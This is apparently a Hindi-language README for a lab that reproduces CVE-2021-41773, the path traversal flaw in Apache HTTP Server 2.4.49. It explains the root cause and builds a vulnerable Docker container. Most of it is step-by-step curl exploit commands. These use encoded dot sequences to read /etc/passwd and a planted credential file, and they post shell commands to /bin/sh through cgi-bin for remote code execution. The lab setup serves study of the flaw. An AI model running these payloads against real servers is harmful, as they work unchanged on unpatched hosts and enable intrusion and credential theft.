
Apache 2.4.49 में एक अजीब तर्क दोष का पुनरुत्पादन और विश्लेषण जो रिमोट कोड निष्पादन तक बढ़ गया।
CVE-2021-41773 एक पथ ट्रैवर्सल कमज़ोरी है जो अक्टूबर 2021 में Apache HTTP Server 2.4.49 में खोजी गई थी। इसका मूल कारण URL में डॉट अनुक्रमों को ठीक से सामान्य करने में विफलता था, इससे पहले कि यह जाँचा जाए कि अनुरोधित पथ वेब रूट के भीतर रहता है। इस कमज़ोरी ने हमलावर को सर्वर के फ़ाइल सिस्टम पर कहीं भी फ़ाइलों तक पहुँचने के लिए वेब रूट से बाहर निकलने की अनुमति दी, कुछ मामलों में रिमोट कोड निष्पादन तक वृद्धि के साथ।
इस अन्वेषण में प्रदर्शित 2 हमले वेक्टर
Docker
curl
Linux या macOS
Dockerfile - कमजोर Apache 2.4.49 कंटेनर बनाएं
exploit.sh - स्वचालित व्याख्या श्रृंखला स्क्रिप्ट
README.md
Dockerfile अवलोकन:
नोट: सुनिश्चित करें कि Docker स्थापित और चल रहा है
विकल्प 1: स्वचालित स्क्रिप्ट
chmod +x exploit.sh
./exploit.sh
विकल्प 2: मैन्युअल निष्पादन
इमेज बनाएं और कंटेनर चलाएं:
sudo docker build -t cve-2021-41773-env .
sudo docker run -d -p 8080:80 --name vulnerable-apache cve-2021-41773-env
मैन्युअल प्रयोग के लिए व्यक्तिगत curl कमांड:
चरण 1 — लगाए गए रहस्य को पढ़ें (शुद्ध ट्रैवर्सल, कोई CGI नहीं)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/secret_credential.txt"
चरण 2 — /etc/passwd पढ़ें (शुद्ध ट्रैवर्सल, कोई CGI नहीं)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
चरण 3 — RCE: कमांड निष्पादित करें (mod_cgi आवश्यक)
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; id; whoami; uname -a" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
चरण 4 — पूर्ण श्रृंखला: RCE के माध्यम से रहस्य पढ़ें
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; cat /etc/secret_credential.txt" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"